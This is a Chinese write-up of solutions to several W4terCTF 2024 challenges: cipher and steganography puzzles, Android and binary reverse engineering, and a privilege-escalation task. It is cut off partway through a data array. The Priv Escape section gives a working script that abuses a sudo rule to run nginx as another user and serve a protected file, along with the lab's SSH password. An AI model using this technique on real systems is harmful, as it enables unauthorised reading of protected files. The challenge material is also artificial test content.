?.

继续重复上面的操作1-2次,得到真正的密钥和原文

密钥BYKOWJHOGWPGG

1
Voilx! In view, a humble vaudevillian veteran, cast vicariously as both victim and villain by the vicissitudes of Fate. This Visage, no mere Veneer of Vanity, is it Vestige of the Vox populi, now Vacant, Vanished, as the once Vital Voice of the Verisimilitude now Venerates what they once Vilified. However, this Valorous Visitation of a by-gone Vexation, stands Vivified, and has Vowed to Vanquish these Venal and Virulent Vermin vanguard-ing Vice and Vouchsafing the Violently Vicious and Voracious Violation of Volition. Amidst this Vortex of Verbosity, a Veiled Vestige of Vindication emerges: a Variable W4terCTF{bEneATH_Th3_mASk_vIG3N3RE_5TRlK3S_84Ck_WiTH_v3N934nc3}, yet Vivacious Vector for Victory. The only Verdict is Vengeance; a Vendetta, held as a Votive, not in Vain, for the Value and Veracity of such shall one day Vindicate the Vigilant and the Virtuous. Verily, this Vichyssoise of Verbiage Veers most Verbose, yet within its Volumes lies the Vibrant Voice of Validation. In this Vein, it is my Very good honor to meet you and you may call me V.

拿到flag

W4terCTF{bEneATH_Th3_mASk_vIG3N3RE_5TRlK3S_84Ck_WiTH_v3N934nc3}

Spam 2024

下载得到一篇很长的垃圾邮件

参考资料:https://forum.rtsec.cn/d/116-gong-fang-shi-jie-crypto-ji-chu-ti-mu-cryptola-ji-you-jian

使用https://www.spammimic.com/,Decode正文部分,得到

1
59,6f,75,20,6c,69,6b,65,20,65,6d,6f,6a,69,73,2c,20,64,6f,6e,27,74,20,79,6f,75,3f,0a,0a,01f643,01f4b5,01f33f,01f3a4,01f6aa,01f30f,01f40e,01f94b,01f6ab,01f606,2705,01f606,01f6b0,01f4c2,01f32a,263a,01f6e9,01f30f,01f4c2,01f579,01f993,01f405,01f375,01f388,01f600,01f504,01f6ab,01f3a4,01f993,2705,01f4ee,01f3a4,01f385,01f34e,01f643,01f309,01f383,01f34d,01f374,01f463,01f6b9,01f923,01f418,01f3f9,263a,01f463,01f4a7,01f463,01f993,01f33f,2328,01f32a,01f30f,01f643,01f375,2753,2602,01f309,01f606,01f3f9,01f375,01f4a7,01f385,01f449,01f30a,01f6b9,01f6aa,01f374,01f60e,01f383,01f32a,01f643,01f441,01f94b,01f451,01f4a7,01f418,01f3a4,01f94b,01f418,01f6e9,01f923,01f309,01f6e9,23e9,01f60d,2753,01f418,01f621,2600,01f60d,01f643,01f601,01f600,01f601,01f6ab,01f4c2,2705,2603,01f6ab,01f60e,01f52a,01f451,01f600,01f579,01f6ab,01f60d,01f32a,01f4c2,01f44c,01f34d,01f44c,01f993,01f590,01f923,01f60e,01f3ce,01f34d,01f3f9,01f34c,01f34d,01f3a4,2600,01f3f9,01f388,01f6b0,01f4a7,2600,2709,01f3f9,01f34d,01f993,01f385,01f374,2602,23e9,01f6aa,01f40d,263a,01f418,01f607,01f621,01f375,01f30f,01f993,01f375,01f6e9,01f4c2,01f44c,01f3f9,01f5d2,01f5d2,0a,0a,42,74,77,2c,20,74,68,65,20,6b,65,79,20,69,73,20,22,4b,45,59,22

From HEX

1
2
3
You like emojis, don't you?
(乱码)
Btw, the key is "KEY"

逗号换成\u

1
\u59\u6f\u75\u20\u6c\u69\u6b\u65\u20\u65\u6d\u6f\u6a\u69\u73\u2c\u20\u64\u6f\u6e\u27\u74\u20\u79\u6f\u75\u3f\u0a\u0a\u01f643\u01f4b5\u01f33f\u01f3a4\u01f6aa\u01f30f\u01f40e\u01f94b\u01f6ab\u01f606\u2705\u01f606\u01f6b0\u01f4c2\u01f32a\u263a\u01f6e9\u01f30f\u01f4c2\u01f579\u01f993\u01f405\u01f375\u01f388\u01f600\u01f504\u01f6ab\u01f3a4\u01f993\u2705\u01f4ee\u01f3a4\u01f385\u01f34e\u01f643\u01f309\u01f383\u01f34d\u01f374\u01f463\u01f6b9\u01f923\u01f418\u01f3f9\u263a\u01f463\u01f4a7\u01f463\u01f993\u01f33f\u2328\u01f32a\u01f30f\u01f643\u01f375\u2753\u2602\u01f309\u01f606\u01f3f9\u01f375\u01f4a7\u01f385\u01f449\u01f30a\u01f6b9\u01f6aa\u01f374\u01f60e\u01f383\u01f32a\u01f643\u01f441\u01f94b\u01f451\u01f4a7\u01f418\u01f3a4\u01f94b\u01f418\u01f6e9\u01f923\u01f309\u01f6e9\u23e9\u01f60d\u2753\u01f418\u01f621\u2600\u01f60d\u01f643\u01f601\u01f600\u01f601\u01f6ab\u01f4c2\u2705\u2603\u01f6ab\u01f60e\u01f52a\u01f451\u01f600\u01f579\u01f6ab\u01f60d\u01f32a\u01f4c2\u01f44c\u01f34d\u01f44c\u01f993\u01f590\u01f923\u01f60e\u01f3ce\u01f34d\u01f3f9\u01f34c\u01f34d\u01f3a4\u2600\u01f3f9\u01f388\u01f6b0\u01f4a7\u2600\u2709\u01f3f9\u01f34d\u01f993\u01f385\u01f374\u2602\u23e9\u01f6aa\u01f40d\u263a\u01f418\u01f607\u01f621\u01f375\u01f30f\u01f993\u01f375\u01f6e9\u01f4c2\u01f44c\u01f3f9\u01f5d2\u01f5d2\u0a\u0a\u42\u74\u77\u2c\u20\u74\u68\u65\u20\u6b\u65\u79\u20\u69\u73\u20\u22\u4b\u45\u59\u22

把这个放到https://www.ifreesite.com/unicode/,得到

1
2
3
4
5
You like emojis, don't you?

🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅😆🚰📂🌪☺🛩🌏📂🕹🦓🐅🍵🎈😀🔄🚫🎤🦓✅📮🎤🎅🍎🙃🌉🎃🍍🍴👣🚹🤣🐘🏹☺👣💧👣🦓🌿⌨🌪🌏🙃🍵❓☂🌉😆🏹🍵💧🎅👉🌊🚹🚪🍴😎🎃🌪🙃👁🥋👑💧🐘🎤🥋🐘🛩🤣🌉🛩⏩😍❓🐘😡☀😍🙃😁😀😁🚫📂✅☃🚫😎🔪👑😀🕹🚫😍🌪📂👌🍍👌🦓🖐🤣😎🏎🍍🏹🍌🍍🎤☀🏹🎈🚰💧☀✉🏹🍍🦓🎅🍴☂⏩🚪🐍☺🐘😇😡🍵🌏🦓🍵🛩📂👌🏹🗒🗒

Btw, the key is "KEY"

使用https://aghorler.github.io/emoji-aes/

key = 🔑, 得到

1
0x???? ⊕ dxBUQVJndGJbbGByE3tGUW57VxV0bH9db3FSe2YFUndUexVUYWl/QW1FAW1/bW57EhQSEF0=

进行base64解码

spam2024

做异或操作,可以猜测开头就是W4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
s = # base64解码后的数据
while len(s)>1:

arr = []
for x in s:
arr.append(ord(x))
print(arr)
h = ord(s[0])^ord('W')
l = ord(s[1])^ord('4')
for i,x in enumerate(arr):
if i % 2 == 0:
arr[i] = arr[i]^h
else:
arr[i] = arr[i]^l
ret = ''

for x in arr:
ret += chr(x)
print(ret)
s=s[1:len(s)]

得到:

W4terCTF{H@V3_fuN_w1TH_yOUr_F!rSt_5pAM_eMa!I_IN_2024}

GZGPT

这里漏出鸡脚了:

鸡脚

于是分析每一行的末尾:

1
2
3
4
5
6
with open("output.log") as f:
lines = f.readlines()

tails = [line[-9:-1] for line in lines]
tails = [tail for tail in tails if tail[-1] in ('\u200c', '\u200d')]
tails[:10]
1
2
3
4
5
6
7
8
9
10
['\u200c\u200d\u200c\u200d\u200c\u200d\u200d\u200d',
'\u200c\u200c\u200d\u200d\u200c\u200d\u200c\u200c',
'\u200c\u200d\u200d\u200d\u200c\u200d\u200c\u200c',
'\u200c\u200d\u200d\u200c\u200c\u200d\u200c\u200d',
'\u200c\u200d\u200d\u200d\u200c\u200c\u200d\u200c',
'\u200c\u200d\u200c\u200c\u200c\u200c\u200d\u200d',
'\u200c\u200d\u200c\u200d\u200c\u200d\u200c\u200c',
'\u200c\u200d\u200c\u200c\u200c\u200d\u200d\u200c',
'\u200c\u200d\u200d\u200d\u200d\u200c\u200d\u200d',
'\u200c\u200d\u200c\u200c\u200d\u200c\u200c\u200d']

可以看到有一些行的末尾有且仅有8个这种不可见字符,不是所有行都有,但是经验证,这样的行的数量每次都是恒定的。

八位,两种字符,一种当0一种当1试了试:

1
2
3
4
5
6
d = {
"\u200c": 0,
"\u200d": 1,
}
b_tails = "".join([chr(int(''.join([str(d[c]) for c in tail]), 2)) for tail in tails])
b_tails
1
W4terCTF{INTRUdER_o1_mY_H3ART_ln_APR1l}W4terCTF{INTRUdER_o1_mY_H3ART_ln_APR1l}W4terCTF{INTRUdER_o1_mY_H3ART_ln_APR1

Priv Escape

首先找 flag ,在 /tmp/flag 找到了,但是没权限读!然后还发现这个文件的 owner 居然不是 root ,而是 r00t (什么高仿 root),这或许就意味着不需要 root 权限也能得到 flag 。

find 查找和 r00t 用户有关的所有文件、目录,会发现 nginx 非常可疑,但这还不够。

关键切入点在于查看与本用户执行权限相关信息:

shell
1
sudo -l

然后发现 nginx 露出了鸡脚:

shell
1
2
3
User W4terCTFPlayer may run the following commands on
priv-escape-5ee9f22c905b4d86:
(r00t) NOPASSWD: /usr/sbin/nginx

这意味着我们的用户可以以 r00t 的身份运行 nginx ,那么依靠 nginx 的网页我们就能读取 /tmp/flag

直接运行 sudo -u r00t nginx ,虽然启动了 nginx ,但是我们不知道咋访问 /tmp/flag ,因为权限问题也无法将 /tmp/flag 软链接到 /var/www/html ,所以我们搞了个脚本用自己的 nginx 配置:

hack.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/bin/bash

cp -rf /etc/nginx /home/W4terCTFPlayer/nginx

echo "user r00t;
worker_processes auto;
pid /home/W4terCTFPlayer/nginx/nginx.pid;

events {
worker_connections 768;
}

http {
sendfile on;
tcp_nopush on;
types_hash_max_size 2048;

include /home/W4terCTFPlayer/nginx/mime.types;
default_type application/octet-stream;


ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;

gzip on;

include /home/W4terCTFPlayer/nginx/conf.d/*.conf;
include /home/W4terCTFPlayer/nginx/sites-enabled/*;
}" > /home/W4terCTFPlayer/nginx/nginx.conf

rm /home/W4terCTFPlayer/nginx/sites-enabled/default

echo "server {
listen 8083 default_server;
listen [::]:8083 default_server;

root /tmp;

index index.html index.nginx-debian.html;

server_name _;

location / {
try_files $uri $uri/ =404;
}
}" > /home/W4terCTFPlayer/nginx/sites-enabled/default

echo '<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
114514
</body>
</html>' > /tmp/index.html

chmod 777 -R /home/W4terCTFPlayer # 不要忘了给 r00t 我们的文件目录访问权限

sudo -u r00t nginx -c /home/W4terCTFPlayer/nginx/nginx.conf # 启动nginx

然后执行:

shell
1
2
3
4
5
6
7
8
9
10
11
12
13
# We1c0meToW4terCTF2024!

scp -P 64780 hack.sh W4terCTFPlayer@127.0.0.1:/home/W4terCTFPlayer # 输入一下密码

ssh W4terCTFPlayer@127.0.0.1 -p 64780 # 输入一下密码

chmod 777 hack.sh

./hack.sh

# sudo -u r00t nginx -s reload -c /home/W4terCTFPlayer/nginx/nginx.conf # 用来重新加载 nginx 配置文件

curl https://127.0.0.1:8083/flag

然而中途遇到了阻碍,写 WP 的时候才发现似乎是因为我们写脚本的同学用的 mac 的 shell 导致的,在 echo 的时候将 /home/W4terCTFPlayer/nginx/sites-enabled/default 里的 $uri 当成了环境变量?!然后 nginx 返回 301 … 脚本里把 $uri 改成 \$uri 就好了

W4terCTF{eScAp3_THE_BouNdarles_OF_n9lnX_pRIvi1eGeS}

Reverse

BruteforceMe

下载的附件是一个程序,运行程序后可以输入flag,程序会判断flag长度是否正确,如果长度正确,会给出flag经过加密后经比对有多少字符符合

所以,只需要一个python脚本猜测每一位的字符,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import subprocess
import random
input_data = "W4terCTF###################################" # len = 43
arr = list(input_data)
print(arr)
voc = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"

def get_flag():
input_data = ''.join(arr)
command = ["./BruteforceMe"]

# 作为子进程启动外部程序
process = subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

# 输入数据到程序的标准输入

process.stdin.write(input_data)
process.stdin.flush()

# 从标准输出读取程序的输出
output_data, _ = process.communicate()
#print(output_data)
j=0
for i,x in enumerate(output_data):
if not x.isnumeric():
j=i+1
else:
break
tmp=[]
while output_data[j].isnumeric():
tmp.append(output_data[j])
j+=1
c_num = int(''.join(tmp))
#print(input_data)
# 打印输出
#print(output_data)
#print(c_num)
return c_num


while get_flag() < 60:
# 随机打乱voc
voc = list(voc)
random.shuffle(voc)
voc = ''.join(voc)
for t in range(43):
old = get_flag()
#print(f"{t},{old}: ")
cur_best = old
for v in voc:
old_arr = arr[t]
arr[t]=v
print(''.join(arr))
new = get_flag()
arr[t]=old_arr
if new >= cur_best:
#print(f"{v},{new};",end=' ')
arr[t]=v
cur_best = new
#print('')

print(f"best: {get_flag()}")
print(''.join(arr))

在和BruteforceMe同文件夹下执行这个脚本,直到程序遇到报错停止,最后一个输出就是flag

一般while循环执行3轮就能得到结果,运行时间1分钟以内

W4terCTF{UnR3IAtED_8y73S_CAN_6e_3nUmErAT3d}

安安又卓卓

第一问:剪刀石头布

这一问可以使用APKTool进行逆向

用法参考https://juejin.cn/post/7216968724938195001

可以得到反编译的Smali代码

smali\com\w4ter\w4terctf2024\FirstChall.smali中找到以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
:array_0
.array-data 2
0x32s
0x33s
0x32s
0x32s
0x32s
0x32s
0x32s
0x33s
0x32s
0x31s
0x31s
0x32s
0x31s
0x31s
0x31s
0x32s
0x32s
0x33s
0x31s
0x32s
......

经验证,这是机器的出拳顺序

要想赢得机器,对手出2,我出1,对手出3,我出2,对手出1,我出3。

运行下面的脚本,得到我方出拳顺序

1
2
3
4
5
6
7
rival=[2,3,2,2,2,2,2,3,2,1,1,2,1,1,1,2,2,3,1,2,2,3,2,2,2,3,1,3,2,2,1,2,2,1,3,2,1,1,3,3,2,3,3,2,3,2,2,3,2,3,1,2,2,3,2,2,2,3,2,3,3,3,1,3,2,1,3,2,1,2,2,3,2,3,3,3,2,2,3,3,2,3,2,1,1,3,1,1,2,3,3,3,2,3,3,2,2,3,3,2,2,3,2,3,2,1,3,3,2,2,1,2,2,1,1,1,1,2,2,1,2,1,2,1,3,3,1,3,2,3,1,2,1,2,2,1,2,1,3,2,3,1,1,2,2,3,1,3,2,1,2,2,2,1,3,2,2,1,2,3,2,3,1,3,2,2,1,2,2,3,1,2,2,1,2,1,2,3,3,3,2,2,3,1,2,1,1,1,2,1,2,2,2,3,1,2,1,2,2,1,2,1,3,2,3,3,3,2,2,3,1,2,2,3,1,3,2,1,2,1,3,1,3,3,2,1,3,2,2,2,2,1,2,1,3,2,1,1,1,2,2,1,3,2,2,1,2,2,2,1,2,3,1,3,3,3]
print(len(rival))
my = []
for x in rival:
my.append((x+1)%3+1)
for x in my:
print(x,end='')

结果为

1
1211111213313331123112111232113113213322122121121231121112122232132131121222112212133233122212211221121213221131133331131313223212313113132123311232131113211312123211311231131312221123133313111231311313212221123112321313232213211113132133311321131113123222

粘贴到安卓程序中,得到以下flag片段

Android_is_very_interesting_and_

第二问:猜数字

第二第三问需要以下工具

https://github.com/java-decompiler/jd-gui

https://github.com/pxb1988/dex2jar

https://blog.csdn.net/katrinawj/article/details/80016315

这样反编译可以得到java代码,可读性比smali更优

com/w4ter.w4terctf2024/SecondCheck.class,其中的函数check0check15就是分别对16个数字进行检验

check10为例,

1
2
3
4
5
6
7
private boolean check10(int paramInt) {
paramInt = xor(xor(xor(add(mul(add(mul(xor(add(mul(sub(paramInt, 5), 2), 3), 8), 11), 8), 14), 14), 6), 10), 13);
boolean bool = true;
if (sub(mul(xor(sub(add(paramInt, 1), 9), 12), 3), 4) != 1117943)
bool = false;
return bool;
}

使用下面的python脚本,可以枚举出第10个数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def xor(a, b):
return a ^ b


def add(a, b):
return a + b


def sub(a, b):
return a - b


def mul(a, b):
return a * b

i=10
up = 2**(i+1)
for j in range(0, up+1):
paramInt = j
paramInt = xor(xor(xor(add(mul(
add(mul(xor(add(mul(sub(paramInt, 5), 2), 3), 8), 11), 8), 14), 14), 6), 10), 13)
i = sub(paramInt, 6)
if not (sub(mul(xor(sub(add(paramInt, 1), 9), 12), 3), 4) != 1117943):
print(f"{j}")

运行结果是1217

类似的,可以得到全部16个数字

2,3,7,14,18,44,82,235,365,715,1217,3774,6025,14042,28572,51291

输入到安卓程序中,得到以下flag片段

Smkhwxi8wnGu14Jq

第三问:直捣黄龙

com/w4ter.w4terctf2024/ThirdCheck.class,其中的函数check0check23就是分别对24个字母进行检验

与之前不同的是,代码中加入了些奇怪的东西

android-3

要想结束while循环,就必须执行3处的break,所以正确的字母输入后一定会执行2和3处的代码

2处的代码会用到i的值,如果输入正确的字母后,只执行2处代码没有执行1处的代码,i的值就恒定为0而与paramInt无关,结果是paramInt输入任何值都是合法的,这显然不合理,所以1处的代码一定会被执行

综上分析,第三问混淆的代码应该不会影响正常的执行逻辑,可以直接无视。

和第二问一样,写出以下脚本枚举字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def xor(a, b):
return a ^ b
def add(a, b):
return a + b
def sub(a, b):
return a - b
def mul(a, b):
return a * b

# paramInt = 2
# print(xor(xor(add(mul(add(xor(add(xor(sub(sub(add(xor(xor(paramInt, 1), 7), 7), 13), 8), 14), 5), 2), 12), 10), 14), 2), 5))
up=256
for j in range(0,up+1):
paramInt = j
i = sub(add(add(xor(paramInt, 9), 3), 10), 10)
if (sub(mul(xor(mul(i, 1), 2), 3), 5) == 313):
print(f"{j},{chr(j)}")


可以得到第三个字符是l

类似的,可以枚举得出其他字符,结果为

I_like_Android_Reverse!!

java脚本

更简便的方法?

利用已有的 java 源代码可写 java 脚本爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import java.lang.System;
import java.lang.reflect.Method;
import SecondCheck.SecondCheck;
import ThirdCheck.ThirdCheck;

public class Hack {
private static final int[] ENC2 = new int[] {
901, 1554, 17367, 53318, 68796, 19575, 1957, 1461, 485, 790,
1281, 218036, 54829, 2367142, 28073245, 51410 };
public static void main(String[] args) throws Exception {
char[] flag1 = new char[16];
for (int i = 1; i <= Math.pow(2,16); i++) {
for (int j = 0; j < 16; j++){
Method method = SecondCheck.class.getDeclaredMethod("check" + j, new Class[] { int.class });
method.setAccessible(true);
if (callCheck(method, (i))) {
String str1 = "flag" + j;
Class<Integer> clazz = int.class;
Method method2 = SecondCheck.class.getDeclaredMethod(str1, new Class[] { clazz, clazz });
method2.setAccessible(true);
flag1[j] = (char)callFlag(method2, ENC2[j], i);
}
}
}
char[] flag2 = new char[24];
for (int i = 1; i <= 256; i++) {
for (byte j = 0; j < 24; j++) {
Method method = ThirdCheck.class.getDeclaredMethod("flag" + j, new Class[] { int.class });
method.setAccessible(true);
if (callFlag(method, i)) {
flag2[j] = (char)i;
}
}
}
System.out.println(flag1);
System.out.println(flag2);
}
public static boolean callFlag(Method paramMethod, int paramInt) throws Exception {
Object object = paramMethod.invoke(new ThirdCheck(), new Object[] { Integer.valueOf(paramInt) });
return (object instanceof Boolean) ? ((Boolean)object).booleanValue() : false;
}
public static int callFlag(Method paramMethod, int paramInt1, int paramInt2) throws Exception {
Object object = paramMethod.invoke(new SecondCheck(), new Object[] { Integer.valueOf(paramInt1), Integer.valueOf(paramInt2) });
return (object instanceof Integer) ? ((Integer)object).intValue() : 0;
}
public static boolean callCheck(Method paramMethod, int paramInt) throws Exception {
Object object = paramMethod.invoke(new SecondCheck(), new Object[] { Integer.valueOf(paramInt) });
return (object instanceof Boolean) ? ((Boolean)object).booleanValue() : false;
}
}

命令:

1
2
javac Hack.java 
java Hack

可以直接得到后面两关的 flag 片段:

1
2
Smkhwxi8wnGu14Jq
I_like_Android_Reverse!!

crabs

使用IDA进行逆向

反编译main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
puts("Enter your flag, and get a picture");
__isoc99_scanf("%s", &v8);
if ( (unsigned int)sub_1209(&v8) )
return 0LL;
puts("Here is your picture");
sub_1483(&qword_8390);
if ( (unsigned int)sub_2B4D(&qword_8390, &v8, v4, v5, v6, v7, v8, v9) )
{
puts("nonono, ugly picute");
}
else
{
puts("okokok, nice picture");
printf("flag is W4terCTF{%s}\n", (const char *)&v8);
}
return 0LL;

sub_1209

sub_1209的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if ( strlen((const char *)a1) == 55 )
{
v2 = *(_QWORD *)(a1 + 8);
qword_8360 = *(_QWORD *)a1;
qword_8368 = v2;
v3 = *(_QWORD *)(a1 + 24);
qword_8370 = *(_QWORD *)(a1 + 16);
qword_8378 = v3;
dword_8380 = *(_DWORD *)(a1 + 32);
byte_8384 = *(_BYTE *)(a1 + 36);
for ( i = 0; i <= 36; ++i )
{
if ( (i ^ *((char *)&qword_8360 + i)) != byte_6020[i] )
{
LABEL_19:
puts("nonono, invalid");
return 1LL;
}
}
v4 = *(_QWORD *)(a1 + 46);
qword_8390 = *(_QWORD *)(a1 + 38);
qword_8398 = v4;
byte_83A0 = *(_BYTE *)(a1 + 54);
for ( j = 0; j <= 2; ++j )
{
for ( k = 0; k <= 4; ++k )
{
if ( (*((char *)&qword_8390 + 6 * j + k) <= 64 || *((char *)&qword_8390 + 6 * j + k) > 90)
&& (*((char *)&qword_8390 + 6 * j + k) <= 96 || *((char *)&qword_8390 + 6 * j + k) > 122)
&& (*((char *)&qword_8390 + 6 * j + k) <= 47 || *((char *)&qword_8390 + 6 * j + k) > 57)
|| j <= 1 && k == 4 && *((_BYTE *)&qword_8390 + 6 * j + 5) != 95 )
{
goto LABEL_19;
}
}
}
return 0LL;
}
else
{
puts("nonono, length wrong");
return 1LL;
}

a1即为输入的flag,首先在11行对flag前37列进行异或处理,与byte_6020进行比对

byte_6020的内容如下

byte_6020

用下面的脚本,可以推测flag前37个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
a = ['1', 'D', '5', '\\', 'Q', 'V', 'Y', 'c', 'z', 'H', ']',
'T', 'm', 'R', '~', 'c', 'S', '&', 'g', 'a', '39', 'J',
'A', '^', 'L', 'Q', 'E', 'V', ']', '*', 'L', 'v', 'X',
'~', '22', 'M', '@']
b=[]
for x in a:
if len(x)==1:
b.append(ord(x))
else:
b.append(int(x))
print(b)
c=[]
for i,x in enumerate(b):
c.append(chr(x^i))
s=''.join(c)
print(len(s))
print(s)

结果为1E7_US_drAW_a_plC7ur3_WITH_MA7Rix_4nd

代码24行之后限定了flag的37位之后的格式

得到flag为1E7_US_drAW_a_plC7ur3_WITH_MA7Rix_4nd_aaaaa_aaaaa_aaaaa,其中a为未知

sub_24BD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
for ( i = 0; i <= 4; ++i )
{
for ( j = 0; j <= 16; ++j )
{
dword_83C0[17 * i + j] = 0;
for ( k = 0; k <= 16; ++k )
dword_83C0[17 * i + j] += byte_8020[55 * i + k] * dword_6060[17 * k + j];
}
}
if ( memcmp(dword_83C0, &unk_6500, 0x154uLL) )
return 1LL;
for ( m = 0; m <= 4; ++m )
{
for ( n = 0; n <= 16; ++n )
{
dword_83C0[17 * m + n] = 0;
for ( ii = 0; ii <= 16; ++ii )
dword_83C0[17 * m + n] += byte_8020[55 * m + 275 + ii] * dword_6660[17 * ii + n];
}
}
if ( memcmp(dword_83C0, &unk_6B00, 0x154uLL) )
return 1LL;
for ( jj = 0; jj <= 4; ++jj )
{
for ( kk = 0; kk <= 16; ++kk )
{
dword_83C0[17 * jj + kk] = 0;
for ( mm = 0; mm <= 16; ++mm )
dword_83C0[17 * jj + kk] += byte_8020[55 * jj + 550 + mm] * dword_6C60[17 * mm + kk];
}
}
return memcmp(dword_83C0, &unk_7100, 0x154uLL) != 0;

以第一组for循环为例,实际上是将byte_8020的前五行和dword_6060进行矩阵乘法,将结果和unk_6500对比

dword_6060和unk_6500的数据可以在内存中找到,进行一个矩阵的逆运算,就能求出byte_8020的前五行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from data import x6500, x6060
import numpy as np
def hex_to_arr(hex_str: str):
hex_str = hex_str.strip()
hex_str = hex_str.replace('\n', ' ')
hex_str = hex_str.replace('\r', ' ')
hex_str = hex_str.replace(' ', ' ')
hex_str = hex_str.split(' ')
hex_str = [int(i, 16) for i in hex_str]
return hex_str

x6500 = hex_to_arr(x6500)
#print(len(x6500))
x6060 = hex_to_arr(x6060)
#print(len(x6060))
d65 = np.zeros((5,17))
for i in range(5):
for j in range(17):
for k in range(4):
d65[i][j] += x6500[i*17*4+j*4+k]*256**(k)
d60 = np.zeros((17, 17))
for i in range(17):
for j in range(17):
for k in range(4):
d60[i][j] += x6060[i*17*4+j*4+k]*256**(k)
d60_inv = np.linalg.inv(d60)
d80 = np.dot(d65, d60_inv)
print(d80)

结果为

1
2
3
4
5
[[32. 32. 49. 49. 32. 32. 32. 32. 32. 32. 32. 32. 32. 32. 49. 49. 49.]
[32. 32. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 32. 32. 49. 49. 32.]
[32. 32. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 49. 49. 32. 32. 32.]
[49. 49. 49. 49. 49. 49. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 32.]
[32. 32. 49. 49. 49. 49. 49. 49. 49. 49. 32. 32. 49. 49. 32. 32. 32.]]

同样的方法,可以得到byte_8020的后10行

sub_1483

代码的逻辑大致是根据输入的flag的后17位,构造byte_8020

刚才已经求出了byte_8020,可以用下面的脚本求出flag后17位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
small_alpha_bet = [
' 11 11 111111111111111111 11 11 ',
' 111 1119911191119 ',
' 11 11111111119999991111111111 11 ',
' 9 9111 9 111 9 99 9 111 ',
' 111111111199111111991111111111 ',
'111 9 9111 1111119111111 111 111 9 ',
'99111 111 9 111111 111 111 11',
' 111 9 111 1119 111 111 111 ',
' 9 111111 9 9 111 99111 111',
' 111 91111119 111 1119111 1119 ',
' 111 111 9 111 1119 111 1',
' 111 11191119 111 991119 111 ',
' 9111111111 111 9111 111 1119',
'1119 111111 111 111111111 9111 99111 ',
' 1119 111111 111 111 ',
'999 111111 1119 111 11199 9 91119',
'111 111 9 9111 1119 99 111111111',
' 11 11111111111111111111111111 11 ',
' 11 11 11 11 ',
' 99111 111111 111 111 9 111 9 ',
' 1111119 111111 111 9 111 ',
' 111 11191111119 111 99 111111 11111',
' 111 111 11199 9 991111',
' 9111 111 111111 9 99 111 ',
'9 9 1111119 1119111 111 11111199 11',
' 9 111111111 111111111 9111111 111']

upper_alpha_bet = [
' 111111 99 111 111111111111111',
' 11 11 11 11 11 11 ',
' 111 9 111 11199111111 11111111',
' 11111111 11 1199 11 1199 11 11111111111',
'1111111111119 999 111 9 9 111 ',
'111 99 9111 9111111 1119',
' 11111199111111 111111111 111 9111 1',
' 11 111111 111111 111111 111 ',
' 11111111111111111111111111111111111111 ',
' 1119 111 111 9 111 ',
'111 111 9 11199111 1119111 ',
' 111 999 111111111 99 1119111 ',
' 11 11111111 11111111 11 111',
'1111111111 11 11 11 11111111111',
' 1111 11 11 11 11 11 11 1111111',
'111 9 111111 1119111111 9 ',
'9111 11111191111111111119 111 111 ',
' 9111 111111 111 9 111111 111111 ',
'9111 911199 111111 9 9 9111',
' 111 111 9 9 99 1111119 111 1',
' 1111 11 11 11 11 11 1111111',
'111 111 111111111 111111111 11',
' 1111 11 9999 11 9999 1111 11111 ',
'111111 1119111 9 99111 1111119111 ',
'111 9 9 111 1119 111 1111111119111',
' 111 111111111111 1119 111111 1111119 ']


num_bet = [
'111 9 111 99 111111 111 111 111',
' 111 111111 111 9111 111 1111119111 1',
' 9 9 9111111 9 111111111 111 ',
'111 9111111111 111 111 1111111119 911',
'99 9111 1119 1119 111 1119 9',
' 9 111111 9111 9111111111 9 1',
' 111 111 111 111111 9 9111111',
' 1111111111111111111111111111111111 ',
' 9 111111 9 1111111111111119 ',
'111 111111999111111 9 9111 111 9111 1']

matrix_8020 = [
[32, 32, 49, 49, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 49, 49, 49],
[32, 32, 49, 49, 49, 49, 32, 32, 49, 49, 32, 32, 32, 32, 49, 49, 32],
